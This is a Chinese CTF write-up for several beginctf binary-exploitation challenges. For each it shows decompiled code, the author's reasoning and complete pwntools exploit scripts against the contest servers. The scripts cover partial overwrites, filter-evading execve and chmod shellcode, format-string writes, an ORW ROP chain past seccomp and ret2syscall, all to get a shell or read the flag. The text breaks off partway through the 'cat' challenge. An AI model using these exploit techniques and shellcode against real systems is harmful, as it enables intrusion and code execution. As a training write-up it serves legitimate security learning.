beginctf
官方wp:Docs (feishu.cn)
one_byte
$ checksec one_byte
[*] '/home/j3ff/桌面/pwn000/beginctf/one_byte'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
这个不难,就不细说了。
程序的逻辑如下:打开flag文件,每次都读取一个字节到buf这个指针中,然后通过printf输出这一指针所指向的内容,之后有一个溢出一个字节的栈溢出
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[8]; // [rsp+7h] [rbp-9h] BYREF
char buf; // [rsp+Fh] [rbp-1h] BYREF
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
puts("Welcome to beginctf!");
open("flag", 0);
read(3, &buf, 1uLL);
printf("Here is your gift: %c\n", (unsigned int)buf);
puts("Are you satisfied with the result?");
read(0, v4, 0x12uLL);
return 0;
}
思路就是能栈溢出一个字节,覆盖程序返回地址的最低位,使其再次回到C语言代码中第11行的位置,从flag文件中再次读取一个字节,然后继续执行后续内容,重复执行,直到flag的内容都被输出为止
为了让输出结果尽可能的好看,调脚本调了半天.....
最终exp如下:
from pwn import *
#context.log_level = 'debug'
#io = process('./one_byte')
io = remote('101.32.220.189',30300)
#gdb.attach(io,'b *$rebase(0x1285)')
flag = b""
flag += b"b"
for i in range(100):
payload = b'a' * 17 + b'\x57'
io.recvuntil(b'with the result?')
io.send(payload)
io.recvuntil(b'gift: ')
tmp = io.recv(1)
print(len(tmp))
flag += tmp
print("flag is:")
print(len(flag))
print(flag)
io.interactive()
后面赛后交流发现,我这个貌似,,\x57,,,碰运气做出来的,因为返回地址是一个libc的地址,,,我这种做法是以为返回地址是elf的地址
unhappy
$ checksec unhappy
[*] '/home/j3ff/桌面/pwn000/beginctf/unhappy'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
ida分析,发现就是过滤了几个字符:
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *addr; // [rsp+10h] [rbp-10h]
addr = mmap((void *)0xFFF00000LL, 0x1000uLL, 7, 34, -1, 0LL);
if ( addr == (void *)-1LL )
{
perror("mmap failed");
return 1;
}
else
{
read(0, addr, 0x100uLL);
check((__int64)addr);
((void (*)(void))addr)();
if ( munmap(addr, 0x1000uLL) == -1 )
{
perror("munmap failed");
return 1;
}
else
{
return 0;
}
}
}
__int64 __fastcall check(__int64 a1)
{
__int64 result; // rax
char v2; // [rsp+1Bh] [rbp-5h]
int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i <= 255; ++i )
{
result = *(unsigned __int8 *)(i + a1);
v2 = *(_BYTE *)(i + a1);
if ( v2 == 0x68 || v2 == 97 || v2 == 112 || v2 == 121 || v2 == 72 || v2 == 65 || v2 == 80 || v2 == 89 )
exit(-1);
}
return result;
}
绕过check的核心思路
在前面写不被check的汇编,用来改变后面的汇编,整个payload能通过check【想法来自moectf的一道过滤syscall的题目】
我这里是用加1的方法,将0x47等加1
在这个shellcode中,0x48无法通过检测
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05
手搓汇编https://defuse.ca/online-x86-assembler.htm#disassembly
而直接在内存中放/bin/sh的h也会被check
push 0
pop rsi
push rsi
mov rdi, 0x68732f2f6e69622f
push rdi
push rsp
pop rdi
mov al,0x3b
cdq
syscall
payload = b"\x49\xB9\x14\x00\xF0\xFF\x00\x00\x00\x00\x49\xFF\x01\x6A\x00\x5E\x56\x6a\x3a\x58\x47\xBF\x6d\x6f\x72\x65\x20\x66\x6c\x2a\x57\x54\x5F\x0F\x05"
后面没成功,之后去打aladin了,但这些天依旧没放弃这道题,有想法就去写写exp,曲折的过程就不展开叙述了,说说在这个过程中遇到的坑
- 像上述图片,more fl*\n是有问题的,路径path这些参数得以\x00结尾【上面是没打通的,远程没有more这个指令,后续改为/bin/sh同样是犯了这个错误】
- chmod参数搞错,发现远程和本地都没打通,当时正好凌晨两点,实话挺失望的
用上面这种思路打通了,但flag文件却没有权限,试过用chmod来改权限,貌似不行后面发现是可以的,之前不行是因为参数搞错了,之前以为777的参数是10进制的,,,,,后面才猛然记起来是八进制,然后重新修改一下exp,一遍打通。不过打本地还是不行的,因为本地确实没权限直接修改根目录的东西
exp如下:
from pwn import *
context.log_level = 'debug'
context.arch = "amd64"
# io = process('./unhappy')
io = remote('101.32.220.189',32228)
# gdb.attach(io, "b *$rebase(0x12b7)")
# payload = b"\x49\xB9\x23\x00\xF0\xFF\x00\x00\x00\x00\x49\xFF\x01\x49\xB9\x46\x00\xF0\xFF\x00\x00\x00\x00\x49\xFF\x01\x31\xf6\x31\xd2\xB8\x3B\x00\x00\x00\x47\xBF\x40\x00\xF0\xFF\x00\x00\x00\x00\x0F\x05"
# payload += b"\x49\xBA\x2F\x66\x6C\x60\x67\x00\x00\x00\x41\x52\x54\x5F\x31\xF6\x66\xBE\x09\x03\x6A\x5A\x58\x0F\x05"
#上面的payload是直接拿shell的部分,开始不知道远程flag没有权限;下面是加了chmod函数调用的payload
payload = b"\x49\xB9\x83\x00\xF0\xFF\x00\x00\x00\x00\x49\xFF\x01\x49\xB9\x66\x00\xF0\xFF\x00\x00\x00\x00\x49\xFF\x01\x49\xB9\x34\x00\xF0\xFF\x00\x00\x00\x00\x49\xFF\x01\x49\xB9\x52\x00\xF0\xFF\x00\x00\x00\x00\x49\xFF\x01\x47\xBF\x80\x00\xF0\xFF\x00\x00\x00\x00\x31\xF6\x66\xBE\xff\x01\x6A\x5A\x58\x0F\x05\x31\xf6\x31\xd2\xB8\x3B\x00\x00\x00\x47\xBF\x60\x00\xF0\xFF\x00\x00\x00\x00\x0F\x05"
payload = payload.ljust(0x60,b'\x90')
payload += b"\x2f\x62\x69\x6e\x2f\x73\x67\x00" # /bin/sh \x67
payload = payload.ljust(0x80,b'\x90')
payload += b"\x2f\x66\x6C\x60\x67\x00" # /flag \x60
io.sendline(payload)
io.interactive()
11行payload对应的汇编如下:
关于exp的编写
因为要绕过相应的字符,直接利用pwntools的asm来写,我个人觉得不够方便【不过后来从其他师傅那了解到,还有另一种比较省事的方法:先用容易绕过check检查的payload,通过系统调用调用read函数,然后再写拿shell的payload就不用被check了,直接asm就很方便】
我用的在线网站辅助编写,好处就在于我能及时看到我编写的payload是否有被check,同时能够容易测试哪些汇编指令能不被check,因为汇编中有些指令虽然不一样,但可以实现同样的效果:https://defuse.ca/online-x86-assembler.htm#disassembly2
当拿到shell后,我也不太明白,怎么会有没有权限的flag,然后就搜怎么提权,而正好之前在打西湖论剑的时候,也有这种提权的题目,虽然我还没看见有wp说那题【0解】怎么做
当时在这篇文章试过很多方法,也没成功https://www.freebuf.com/articles/database/321219.html
现在又一次遇见,我干脆直接找pwn.college的其他提权wp,
但它的0xdc9是不行的,0x309也不行,有被误导到,,,,吐个槽
但还是收获很大,给这位师傅磕一个先
貌似也了解到了,这种shellcode的操作,pwn.college早就玩过了。
之后连上去,就有权限了
aladdin
j3ff@j3ff:~/桌面/pwn000/beginctf/aladdin$ chmod +x aladdin
j3ff@j3ff:~/桌面/pwn000/beginctf/aladdin$ strings libc.so.6 | grep 'ubuntu'
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.4) stable release version 2.35.
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
j3ff@j3ff:~/桌面/pwn000/beginctf/aladdin$ ldd --version
ldd (Ubuntu GLIBC 2.35-0ubuntu3.6) 2.35$ checksec aladdin
[*] '/home/j3ff/桌面/pwn000/beginctf/aladdin/aladdin'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
环境应该没啥问题,尽管有点小差别。【两天前说的大话,昨天打通本地,今天才拿到有环境差异的远程flag】毕竟直接能运行,主要发现glbc-all-in-one也没这个版本。checksec保护全开
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int16 v4; // [rsp+0h] [rbp-40h] BYREF
__int16 *v5; // [rsp+8h] [rbp-38h]
__int16 v6; // [rsp+10h] [rbp-30h] BYREF
char v7; // [rsp+12h] [rbp-2Eh]
char v8; // [rsp+13h] [rbp-2Dh]
int v9; // [rsp+14h] [rbp-2Ch]
__int16 v10; // [rsp+18h] [rbp-28h]
char v11; // [rsp+1Ah] [rbp-26h]
char v12; // [rsp+1Bh] [rbp-25h]
int v13; // [rsp+1Ch] [rbp-24h]
__int16 v14; // [rsp+20h] [rbp-20h]
char v15; // [rsp+22h] [rbp-1Eh]
char v16; // [rsp+23h] [rbp-1Dh]
int v17; // [rsp+24h] [rbp-1Ch]
__int16 v18; // [rsp+28h] [rbp-18h]
char v19; // [rsp+2Ah] [rbp-16h]
char v20; // [rsp+2Bh] [rbp-15h]
int v21; // [rsp+2Ch] [rbp-14h]
__int16 v22; // [rsp+30h] [rbp-10h]
char v23; // [rsp+32h] [rbp-Eh]
char v24; // [rsp+33h] [rbp-Dh]
int v25; // [rsp+34h] [rbp-Ch]
unsigned __int64 v26; // [rsp+38h] [rbp-8h]
v26 = __readfsqword(0x28u);
v6 = 32;
v7 = 0;
v8 = 0;
v9 = 0;
v10 = 21;
v11 = 1;
v12 = 0;
v13 = 59;
v14 = 53;
v15 = 1;
v16 = 0;
v17 = 0;
v18 = 6;
v19 = 0;
v20 = 0;
v21 = 327680;
v22 = 6;
v23 = 0;
v24 = 0;
v25 = 2147418112;
v4 = 5;
v5 = &v6;
prctl(38, 1LL, 0LL, 0LL, 0LL);
prctl(22, 2LL, &v4);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("Aladdin's lamp will grant you three wishes");
while ( --chance ) // 全局变量chance初始值为4
{
printf("your %d wish:\n", (unsigned int)chance);
memset(wish, 0, sizeof(wish));
read(0, wish, 0x100uLL);
if ( strstr(wish, "one more wish") )
{
puts("no way!");
break;
}
printf(wish);
}
printf("The wonderful lamp is broken");
return 0;
}
通过源码可以看出,程序最多执行3次循环,也就是使用3次不在栈上的格式字符串漏洞,然后也没有后门函数,Full RELRO开启,也就不能针对got表进行攻击,之后我的想法就是先泄露出libc,栈地址等一些信息,然后再想办法改返回地址为one_gadget。
【这里要说明一下,我这个ogg的打法是不对的,因为我审c代码的时候,没注意到开了沙箱:
prctl(38, 1LL, 0LL, 0LL, 0LL);
prctl(22, 2LL, &v4);
后面打到ogg,然后ogg条件也都想办法满足了,但还是打不通,然后找出题人siris问问,是不是我本地环境原因导致的,,,,后面,,,才知道开了沙箱】
j3ff@j3ff:~/桌面/pwn000/beginctf/aladdin$ seccomp-tools dump ./aladdin
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0003
0002: 0x35 0x01 0x00 0x00000000 if (A >= 0x0) goto 0004
0003: 0x06 0x00 0x00 0x00050000 return ERRNO(0)
0004: 0x06 0x00 0x00 0x7fff0000 return ALLOW
可见禁用了execve,这也是为啥不能ogg打通的原因
j3ff@j3ff:~/桌面/pwn000/beginctf/aladdin$ one_gadget libc.so.6
0xebc81 execve("/bin/sh", r10, [rbp-0x70])
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL || r10 is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
0xebc85 execve("/bin/sh", r10, rdx)
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL || r10 is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
0xebc88 execve("/bin/sh", rsi, rdx)
constraints:
address rbp-0x78 is writable
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
0xebce2 execve("/bin/sh", rbp-0x50, r12)
constraints:
address rbp-0x48 is writable
r13 == NULL || {"/bin/sh", r13, NULL} is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
0xebd38 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x48 is writable
r12 == NULL || {"/bin/sh", r12, NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
0xebd3f execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x48 is writable
rax == NULL || {rax, r12, NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
0xebd43 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x50 is writable
rax == NULL || {rax, [rbp-0x48], NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
打one_gadget时的情况,即使到这步,ni后,也没啥反应,毕竟execve被禁用了
------------------------下面是两天后拿到flag写的了,尽量将想到过程的思路写清楚。--------------------------
gdb动态调试看情况【在printf处下断点,然后stack 60】
可以看到,%7$p能泄露栈地址,%15$p能泄露二进制文件elf的地址,%35$p能泄露libc的地址【这三个地址我后面都有用到了】,不管要干啥,第一步肯定得泄露地址,干脆就全记录下来。那么剩下还剩两个格式化字符串,我想过去改chance,但它的地址在elf上,而格式化字符串又不在栈上,显然不太好修改。
对于非栈上的格式化字符串漏洞,我们是需要找程序残留在栈上的栈链,然后用%$n来操作的。
【例如上图中,19->49-> 和36->51-> 】
因为格式化字符串漏洞利用的次数有限,为了能实现任意地址读写,仅剩两次printf,ogg和后门函数的路都堵了,我们不难想到,出题人肯定得需要我们实现无限次利用格式化字符串漏洞的操作
灵感来自2023强网杯的ezfmt这道题,想到去改printf函数的返回地址,实现多次利用格式化字符串漏洞。执行pritnf函数时,这个地址会保存在此时图中,rsp-8的位置,调试也可以看到。
我们可以先用一次printf,改两条链子中任意一条先指向这个位置,再下一次利用链子改返回地址的最低一字节为0x4a。【我试过一次printf直接改同一条链子的两个地方,结果是行不通的】
pay2 = "%" + str(stack&0xffff) + "c%19$hn"
pay3 = "%" + str(0x4a) + "c%49$hhn"
实现第三次执行printf(wish)时返回到printf("your %d wish:\n", (unsigned int)chance); 的位置
.text:000000000000134A loc_134A: ; CODE XREF: main+1C9↓j
.text:000000000000134A mov eax, cs:chance
.text:0000000000001350 mov esi, eax
.text:0000000000001352 lea rax, format ; "your %d wish:\n"
.text:0000000000001359 mov rdi, rax ; format
.text:000000000000135C mov eax, 0
.text:0000000000001361 call _printf
之后找了一下百度,看有没有什么能绕过这种沙箱,但貌似并没有啥办法能绕过这个沙箱。那就只能想到orw来处理了。而正好wish也在bss段,最后把rop写到wish上,然后通过leave_ret【mov rsp, rbp; pop rbp (rsp + 8) pop rip】 将程序执行流劫持到wish上,执行orw的rop链,当然为了达到这个目的就需要用printf改栈地址rbp指向的内容为wish,main函数的返回地址为leave_ret,最后再wish上布置rop链即可
而wish、leave_ret这些可以通过泄露的地址推算出来。
exp如下:
# begin{You_hAve_oNE_MOR3_ChANcE_b65233cbf9e8}
# 我的本地环境和远程环境的链子有点差异,本地是36->51;远程是36->52
# 打本地则ctrl + h 将%52$p替换为%51$p即可
from pwn import *
context.log_level = 'debug'
# io = process('./aladdin')
io = remote("101.32.220.189",31268)
libc = ELF('./libc.so.6')
pay1 = "%7$p-%17$p-%35$p"
def send(pay):
io.recvuntil(b"wish:")
io.sendline(pay)
# gdb.attach(io,"b *$rebase(0x13d6)")
# io.recvuntil(b"wish:\n")
send(pay1)
stack = eval(io.recvuntil(b'-').strip(b'-')) - 0x18
chance = eval(io.recvuntil(b'-').strip(b'-')) - 0x1229 + 0x4010
libc_base = eval(io.recv(14)) - 128 - 0x29dc0
print(f"stack_printf_ret_is:{hex(stack)}")
print(f"chance_addr is:{hex(chance)}")
print(f"libc_base is:{hex(libc_base)}")
stack_main_ret = stack + 0x50
stack_rbp = stack_main_ret - 8
# 19
# 49
# 7 17 19
# pay_test = b"-%p"*66 # 调试用
pay2 = "%" + str(stack&0xffff) + "c%19$hn"
pay2 += "%" + str(0x10000 - ((stack)&0xffff)) + "c"
pay2 += "%" + str((stack_rbp)&0xffff) + "c%36$hn"
send(pay2)
wish_addr = chance + 0x50 - 8
wish1 = wish_addr&0xffff
wish2 = (wish_addr>>16)&0xffff
wish3 = (wish_addr>>32)&0xffff
sleep(0.3)
pay3 = "%" + str(0x4a) + "c%49$hhn"
pay3 += "%" + str(wish1 - 0x4a) + "c%52$hn" # -%14$p-%15$p调试用
send(pay3)
# send(pay_test)
# io.interactive()
# """
sleep(0.3) # 改栈地址rbp指向的位置中的内容为wish
pay4 = "%" + str(0x4a) + "c%49$hhn"
pay4 += "%" + str((stack_rbp&0xffff) + 2 - 0x4a) + "c%36$hn"
send(pay4)
sleep(0.3)
pay5 = "%" + str(0x4a) + "c%49$hhn"
pay5 += "%" + str(wish2 - 0x4a) + "c%52$hn"
send(pay5)
sleep(0.3)
pay6 = "%" + str(0x4a) + "c%49$hhn"
pay6 += "%" + str((stack_rbp&0xffff) + 4 - 0x4a) + "c%36$hn"
send(pay6)
sleep(0.3)
pay7 = "%" + str(0x4a) + "c%49$hhn"
pay7 += "%" + str(wish3 - 0x4a) + "c%52$hn"
send(pay7)
leave_ret = chance - 0x4010 + 0x1425
leave1 = leave_ret&0xffff
leave2 = (leave_ret>>16)&0xffff
leave3 = (leave_ret>>32)&0xffff
sleep(0.3) # 改main函数的返回地址的为leave_ret
pay8 = "%" + str(0x4a) + "c%49$hhn"
pay8 += "%" + str((stack_main_ret&0xffff) - 0x4a) + "c%36$hn"
send(pay8)
sleep(0.3)
pay9 = "%" + str(0x4a) + "c%49$hhn"
pay9 += "%" + str(leave1 - 0x4a) + "c%52$hn"
send(pay9)
sleep(0.3)
pay10 = "%" + str(0x4a) + "c%49$hhn"
pay10 += "%" + str((stack_main_ret&0xffff) + 2 - 0x4a) + "c%36$hn"
send(pay10)
sleep(0.3)
pay11 = "%" + str(0x4a) + "c%49$hhn"
pay11 += "%" + str(leave2 - 0x4a) + "c%52$hn"
send(pay11)
sleep(0.3)
pay12 = "%" + str(0x4a) + "c%49$hhn"
pay12 += "%" + str((stack_main_ret&0xffff) + 4 - 0x4a) + "c%36$hn"
send(pay12)
sleep(0.3)
pay13 = "%" + str(0x4a) + "c%49$hhn"
pay13 += "%" + str(leave3 - 0x4a) + "c%52$hn"
send(pay13)
sleep(0.3) # 布置orw的payload
pop_rdi = libc_base + 0x000000000002a3e5
pop_rsi = libc_base + 0x000000000002be51
pop_rdx = libc_base + 0x00000000000796a2
ret = pop_rdi + 1
open_addr = libc_base+libc.sym['open']
# read_addr = libc_base+libc.sym['read']
read_addr = chance - 0x4010 + 0x1110
write_addr = libc_base+libc.sym['write']
# orw_payload = b"./flag\x00\x00" + p64(pop_rdi) + p64(wish_addr+0x90) + p64(pop_rsi) + p64(0) + p64(open_addr)
# orw_payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(wish_addr+0x90) + p64(pop_rdx) + p64(0x100) + p64(read_addr)
# orw_payload += p64(pop_rdi) + p64(1) + p64(pop_rdx) + p64(0x100) + p64(write_addr) + b"./flag\x00\x00"
orw_payload = p64(pop_rdi) + p64(wish_addr+0xa0) + p64(pop_rsi) + p64(0) + p64(open_addr)
orw_payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(wish_addr+0xa0) + p64(pop_rdx) + p64(0x100) + p64(read_addr)
orw_payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(wish_addr+0xa0) + p64(pop_rdx) + p64(0x100) + p64(write_addr) + b"/flag\x00\x00\x00"
send(orw_payload)
io.interactive()
# """
碎碎念
本地昨天就打通了,但苦于没有和远程一样的环境,不然昨天就能拿到flag了。
首先,打远程,先卡在了send(pay4),以为是printf返回地址没改成,
先注释一些一步步测试exp与交互得到的结果,看远程是哪里卡住了,后面逐渐发现printf返回地址是能改的,然后pay4之后改buf和main返回地址的操作并没成功(%14p-%15p看到没变化),于是推测到36->51这个链子有问题,又找出题人问环境原因,发现我的竟然是非预期...他们的方法并没有用到这个链子
那这我只能自己想办法了,过小年这天,没啥时间碰电脑,突然有想法,用60个%p,泄露出栈地址,自己手动搞推算,找链子,最终成功找到了远程有36->52这条链,最后换上,一遍打通了远程,拿到flag。此刻的心情难以言表。
之后赶紧向出题人报喜,出题人也许是被我的死磕精神震惊到了,直呼nb,不过也据出题人说,我的是非预期
gift_rop
j3ff@j3ff:~/桌面/pwn000/beginctf$ checksec gift_rop
[*] '/home/j3ff/桌面/pwn000/beginctf/gift_rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[32]; // [rsp+0h] [rbp-20h] BYREF
init(argc, argv, envp);
puts("Welcome to beginCTF!");
puts("This is a fake(real) checkin problem.");
read(0LL, v4, 512LL);
close(1LL);
close(2LL);
return 0;
}
这类题,看到是静态编译,第一想法是ropchain,但结果太长了,超出了read的长度,之后打算ret2libc,但发现ida没正经的plt以及got表,然后想到刚刚ropchain有个syscall结尾,想到去打ret2syscall,shift+f12 --> ctrl+f搜到/bin/sh,那就挺方便了,不用自己去布置这些参数,直接ret2syscall,gadget也是充足的,用的是ROPgadget结合grep来找
exp如下:
# begin{THlS_IS_a_9I17_fOr_yOU_659dcaa2b0f0}
from pwn import * # 虽然本地到close(2)后会直接EOF,但调试还是可以syscall后看到起了bash
context.log_level = 'debug'
io = process('./gift_rop')
io = remote("101.32.220.189",30133)
elf = ELF('./gift_rop')
# gdb.attach(io,"b *0x401865")
main = 0x40181a
bin_sh = 0x4C50F0
syscall = 0x0000000000401ce4
pop_rdi = 0x0000000000401f2f
pop_rax_rdx_rbx = 0x000000000047f20a
pop_rsi = 0x0000000000409f9e
ret = pop_rdi + 1
payload = b'a'*0x28 + p64(pop_rdi) + p64(bin_sh) + p64(pop_rsi) + p64(0)
payload += p64(pop_rax_rdx_rbx) + p64(0x3b) + p64(0) + p64(0xdeadbeef) + p64(syscall)
io.sendline(payload)
io.interactive()
exec 1>&0 # 打开
ls
cat flag
ezpwn
j3ff@j3ff:~/桌面/pwn000/beginctf$ checksec ezpwn
[*] '/home/j3ff/桌面/pwn000/beginctf/ezpwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
保护全开,ida shift + f12可以看到/bin/sh,左边还有system,显然这就要我们设法走出system("/bin/sh")
unsigned __int64 main_loop()
{
char v1; // [rsp+7h] [rbp-229h]
int v2; // [rsp+8h] [rbp-228h] BYREF
int v3; // [rsp+Ch] [rbp-224h] BYREF
char s[48]; // [rsp+10h] [rbp-220h] BYREF
char buf[224]; // [rsp+40h] [rbp-1F0h] BYREF
char command[264]; // [rsp+120h] [rbp-110h] BYREF
unsigned __int64 v7; // [rsp+228h] [rbp-8h]
v7 = __readfsqword(0x28u);
memset(s, 0, sizeof(s));
while ( 1 )
{
puts("Welcome to beginctf 2024.");
puts("This is a checkin pwn challenge.");
puts("Just play for fun.");
menu();
__isoc99_scanf("%d", &v3);
if ( v3 == 4 )
break;
if ( v3 <= 4 )
{
switch ( v3 )
{
case 3:
filemanage();
break;
case 1:
puts("Please input index.");
__isoc99_scanf("%d", &v2);
puts("please input value");
v1 = getchar();
getchar();
s[v2] = v1;
break;
case 2:
memset(buf, 0, sizeof(buf));
memset(command, 0, 0x100uLL);
puts("Please input your echo command");
read(0, buf, 0xE0uLL);
if ( strchr(buf, ';')
|| strchr(buf, '`')
|| strchr(buf, '|')
|| strchr(buf, '/')
|| strchr(buf, '&')
|| strstr(buf, "cat")
|| strstr(buf, "sh") )
{
perror("Forbidden.");
_exit(-1);
}
snprintf(command, 0x100uLL, "%s %s %s", "echo '", buf, "' string");
system(command);
break;
}
}
}
return v7 - __readfsqword(0x28u);
}
但后面发现一遍函数逻辑后,以为是命令那里有漏洞,但后来一想,好像还没看到/bin/sh的出现,于是跟踪一下字符串,发现他在一个gift函数中,是个后门函数
那就很明朗了,这是想让我们该返回地址,然后,再回过头去看,容易发现,1那个地方有index,再仔细一看,能数组越界实现1字节改写,而其返回地址离gift很近,也容易想到。
而另外两个纯属迷惑人的
之后遇到的麻烦就是那个接收的问题,sendline,会使getchar收到一个\x0a,导致我们返回地址改错,然后还有就是会有个栈平衡问题需要注意
还好有gdb,使得这些问题都能迎刃而解
# begin{dO_n07_6e_AfRa1D_PWn_1S_s1mPLE_158a209bacde}
from pwn import *
context.log_level = 'debug'
# io = process('./ezpwn')
io = remote('101.32.220.189',32403)
# gdb.attach(io, "b *$rebase(0x14e6)")
io.sendlineafter(b"your choice.", "1")
io.recvuntil(b"index.")
io.send("552")
sleep(0.3)
# io.recvuntil(b"value")
# io.sendline(b'\x49') # movaps
io.sendline(b'\x51')
io.sendline(b'4')
io.interactive()
no_money
很赞的题目,之前也想过搞一个同时用到栈溢出和格式字符串漏洞的题目,今天算是首次遇到
j3ff@j3ff:~/桌面/pwn000/beginctf/no_money$ checksec no_money
[*] '/home/j3ff/桌面/pwn000/beginctf/no_money/no_money'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
逻辑还是比较简单,禁用了$符,使我们平时常用的格式字符串漏洞不太顺利,然后一直在循环里,退出只能是exit,也就是main函数的返回地址劫持不到了
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+Ch] [rbp-54h]
char buf[72]; // [rsp+10h] [rbp-50h] BYREF
unsigned __int64 v5; // [rsp+58h] [rbp-8h]
v5 = __readfsqword(0x28u);
init(argc, argv, envp);
puts("Welcome to beginCTF again!");
puts("I'm sorry to tell you that We don't have the funds.");
puts("So I will not give you $.");
while ( 1 )
{
puts("Your payload:");
read(0, buf, 0x100uLL);
for ( i = 0; i <= 255; ++i )
{
if ( buf[i] == '$' )
exit(-1);
}
printf(buf);
check_target();
}
}
int check_target()
{
int result; // eax
result = target;
if ( target )
return system("/bin/sh");
return result;
}
最终思路就是:格式字符串泄露出程序中的main函数真实地址,然后推算target的地址,最后将target放到栈上,用%n,改一下target即可【为啥要按exp那种写法,不用$也能实现呢,因为我百度时无意间看到一篇博客,https://zikh26.github.io/posts/a523e26a.html】
写exp的时候,被一个地方卡住,就是target得放在后面,刚开始一直给到8的位置,导致一直没成功,20多分钟后看着每次输出的只有target的地址,%p的作用并未全部发挥到位,想到是\x00截断了printf,导致后面的东西无法实现,于是重新修改如下exp所示:【成功打通】
# begin{I_HaVe_no_MonEy_BUt_I_HAV3_A_f14g_4ee2f6451692}
from pwn import *
context.log_level = 'debug'
# io = process('./no_money')
io = remote("101.32.220.189",32425)
io.recvuntil(b'Your payload:')
# gdb.attach(io, "b *$rebase(0x132d)")
# 8
# 21
pay1 = b"%p"*20 + b"aaaa" + b"%p-"
io.sendline(pay1)
io.recvuntil(b"aaaa")
# sh = eval(io.recvuntil(b'-').strip(b'-')) - 0x1277 + 0x11FB
target = eval(io.recvuntil(b'-').strip(b'-')) - 0x1277 + 0x404c
print(hex(target))
pay2 = b"%p"*9 + b"%6c%hn" + p64(target)
# pay2 = b"a" * 0x58 + p64(sh)
io.sendline(pay2)
io.interactive()
cat
j3ff@j3ff:~/桌面/pwn000/beginctf$ checksec cat
[*] '/home/j3ff/桌面/pwn000/beginctf/cat'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
ida查看一下
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
setbuf(stderr, 0LL);
puts("read:");
read(0, byte_4040A0, 0x100uLL);
puts("read:");
read(0, byte_4041A0, 0x100uLL);
vul(byte_4040A0, byte_4041A0);
return 0;
}
unsigned __int64 __fastcall vul(const char *a1, const char *a2)
{
__int64 buf[2]; // [rsp+10h] [rbp-40h] BYREF
char dest[8]; // [rsp+20h] [rbp-30h] BYREF
__int64 v5; // [rsp+28h] [rbp-28h]
char v6[8]; // [rsp+30h] [rbp-20h] BYREF
__int64 v7; // [rsp+38h] [rbp-18h]
unsigned __int64 v8; // [rsp+48h] [rbp-8h]
v8 = __readfsqword(0x28u);
buf[0] = 0LL;
buf[1] = 0LL;
*(_QWORD *)dest = 0LL;
v5 = 0LL;
*(_QWORD *)v6 = 0LL;
v7 = 0LL;
puts("read:");
read(0, buf, 0x100uLL);
strcat(dest, a1);
strcpy(v6, a2);
return v8 - __readfsqword(0x28u);
}
第一眼看,开了canary保护,同时怎么还有三个栈溢出的地方
shift +f12还看到cat flag,看来有后门函数
跟进后,点一下跳转过去,找到后门函数,
那显然目标就简单了,通过栈溢出,改返回地址为0x4011f6或者说0x4011fe【看栈平衡来选,这里得选后者】
那也就是绕过canary就行了,但这种情况我也是第一次遇到,去网上找绕过canary保护的6种方法,发现没一个对得上。。。
后来想到,会不会这三个栈溢出函数压根不用,gdb动态调试是否直接就能看到有返回地址在栈上,然后改改低位即可,不过通过调试,这个不合情理的猜想也被证伪了。。
后面每次想做这道题,就只能到网上找文章,看看能不能找到一篇能够点拨我。
找出题人博客,没找到,,,找pwncollege的wp,也没发现类似的。。
确实想过这3个栈溢出能用的函数组合在一起确实没啥必要,都在漏洞函数vuln里面,肯定存在问题,但后面一想,这题目名叫cat,那应该是strcat函数问题,然后找半天相关的东西,没收获,,,,,,
只能看着3个栈溢出干瞪眼。后面想着我干脆每个函数都写个能栈溢出的payload,然后发现这一幕,read(buf)后返回地址改成功了,但strcat后,又把返回地址给改到其他地方去了【把\x00改成\x61了】,好有思路了。
